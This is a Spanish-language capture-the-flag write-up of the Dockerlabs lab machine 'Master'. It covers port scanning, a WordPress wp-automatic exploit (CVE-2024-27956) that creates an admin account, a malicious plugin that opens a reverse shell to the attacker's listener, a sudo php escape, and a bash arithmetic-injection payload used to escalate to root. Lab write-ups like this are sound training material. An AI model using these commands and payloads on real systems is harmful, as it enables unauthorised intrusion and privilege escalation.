Master es una de las maquinas existentes actualmente en la plataforma de hacking Dockerlabs y es de dificultad Medio.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Empezaremos con el escaneo de puertos una vez tenemos la maquina a vulnerar levantada , la ip por defecto será la 172.17.0.2.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
┌──(kali㉿kali)-[~/CVE-2024-27956-RCE] └─$ sudo nmap -sS -p- --open --min-rate 3000 -vvv -n 172.17.0.2 [sudo] password for kali: Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-29 23:27 CEST Initiating ARP Ping Scan at 23:27 Scanning 172.17.0.2 [1 port] Completed ARP Ping Scan at 23:27, 0.08s elapsed (1 total hosts) Initiating SYN Stealth Scan at 23:27 Scanning 172.17.0.2 [65535 ports] Discovered open port 80/tcp on 172.17.0.2 Completed SYN Stealth Scan at 23:27, 1.83s elapsed (65535 total ports) Nmap scan report for 172.17.0.2 Host is up, received arp-response (0.000012s latency). Scanned at 2024-06-29 23:27:47 CEST for 2s Not shown: 65534 closed tcp ports (reset) PORT STATE SERVICE REASON 80/tcp open http syn-ack ttl 64 MAC Address: 02:42:AC:11:00:02 (Unknown) Read data files from: /usr/bin/../share/nmap Nmap done: 1 IP address (1 host up) scanned in 2.15 seconds Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB) |
Una vez tenemos los puertos abiertos, ejecutaremos con nmap con el parámetro -sCV para que le pase los scripts por defecto y conseguir mas información de cada uno de ellos.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
┌──(kali㉿kali)-[~/CVE-2024-27956-RCE] └─$ sudo nmap -sCV -p80 172.17.0.2 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-29 23:28 CEST Nmap scan report for norc.labs (172.17.0.2) Host is up (0.000046s latency). PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.58 ((Ubuntu)) |_http-title: Did not follow redirect to http://172.17.0.2/ |_http-server-header: Apache/2.4.58 (Ubuntu) MAC Address: 02:42:AC:11:00:02 (Unknown) Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 27.21 seconds |
Podemos observar que al entrar en la web y revisar el wappalyzer, estamos ante un wordpress.

Tras revisar manualmente los plugins, vemos también en la pagina principal el que será el plugin vulnerable. ( wp-automatic 3.92.0 )

Encontraremos el siguiente exploit, el cual nos dará acceso al panel de admin de wordpress con un usuario que crea.
|
1 2 3 4 5 6 7 |
┌──(kali㉿kali)-[~/CVE-2024-27956-RCE] └─$ python exploit.py http://172.17.0.2 [+] Exploit for CVE-2024-27956 [+] Creating user eviladmin [+] Giving eviladmin administrator permissions [+] Exploit completed! [+] administrator created: eviladmin:admin |
Una vez en el panel de admin, para poder entrar en el sistema, instalaremos un plugin malicioso con la herramienta pwnpy, así que generaremos el plugin , lo subiremos y lo activaremos.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
┌──(kali㉿kali)-[~/CVE-2024-27956-RCE/malicious-wordpress-plugin] └─$ python wordpwn.py 192.168.0.160 1234 N [*] Checking if msfvenom installed [+] msfvenom installed [+] Generating plugin script [+] Writing plugin script to file [+] Generating webshell payload [+] Writing plugin script to file [+] Generating payload To file [-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload [-] No arch selected, selecting arch: php from the payload Found 1 compatible encoders Attempting to encode payload with 1 iterations of php/base64 php/base64 succeeded with size 1511 (iteration=0) php/base64 chosen with final size 1511 Payload size: 1511 bytes [+] Writing files to zip [+] Cleaning up files [+] URL to upload the plugin: http://(target)/wp-admin/plugin-install.php?tab=upload [+] How to trigger the reverse shell : -> http://(target)/wp-content/plugins/malicious/wetw0rk_maybe.php -> http://(target)/wp-content/plugins/malicious/QwertyRocks.php -> http://(target)/wp-content/plugins/malicious/SWebTheme.php?cmd=ls |


Ahora lo que tendremos que acceder es al recurso que nos ha indicado pwnpy para lanzarnos la reverse shell
|
1 2 3 4 5 6 7 8 9 10 |
┌──(kali㉿kali)-[~] └─$ nc -vnlp 1234 listening on [any] 1234 ... connect to [192.168.0.160] from (UNKNOWN) [172.17.0.2] 48752 Linux 11bd450275d7 6.6.15-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.6.15-2kali1 (2024-05-17) x86_64 x86_64 x86_64 GNU/Linux 21:25:53 up 1 day, 20 min, 0 user, load average: 7.62, 6.50, 5.15 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off $ |
Revisamos sudo -l para ver si tenemos al privilegio con algún usuario para lanzar algún comando o script.
|
1 2 3 4 5 6 7 8 |
www-data@11bd450275d7:/$ sudo -l Matching Defaults entries for www-data on 11bd450275d7: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty User www-data may run the following commands on 11bd450275d7: (pylon) NOPASSWD: /usr/bin/php |
Viendo gtfobins, usaremos tal y como nos dice para lanzar una bash como pylon
|
1 2 |
www-data@11bd450275d7:/$ sudo -u pylon /usr/bin/php -r "system('/bin/bash');" pylon@11bd450275d7:/$ |
Volvemos a lanzar sudo -l como el usuario pylon
|
1 2 3 4 5 6 |
pylon@11bd450275d7:/$ sudo -l Matching Defaults entries for pylon on 11bd450275d7: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty User pylon may run the following commands on 11bd450275d7: (mario) NOPASSWD: /bin/bash /home/mario/pingusorpresita.sh |
Tras ver como interactua el script, recordamos alguna maquina hecha anteriormente además de por como es la lógica al hacer un input que no es el esperado
|
1 2 3 |
pylon@11bd450275d7:/$ sudo -u mario /bin/bash /home/mario/pingusorpresita.sh Escribe 1 para ver el canal del pinguino, o cualquier otro numero para acceder a la academia: a[$(bash >&2)]+42 mario@11bd450275d7:/$ |
De nuevo probamos sudo -l como el usuario Mario
|
1 2 3 4 5 6 7 8 |
mario@11bd450275d7:/$ sudo -l Matching Defaults entries for mario on 11bd450275d7: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty User mario may run the following commands on 11bd450275d7: (root) NOPASSWD: /bin/bash /home/pylon/pylonsorpresita.sh |
Y tal y como hemos hecho con pylon, probaremos en este script a usar la misma vulnerabilidad sobre el script
|
1 2 3 |
mario@11bd450275d7:/$ sudo /bin/bash /home/pylon/pylonsorpresita.sh Escribe 1 para ver el canal de pylon: a[$(bash >&2)]+993 root@11bd450275d7:/# |
Y nos convertimos en root!!
Hasta aquí la maquina de Master de la plataforma Dockerlabs!






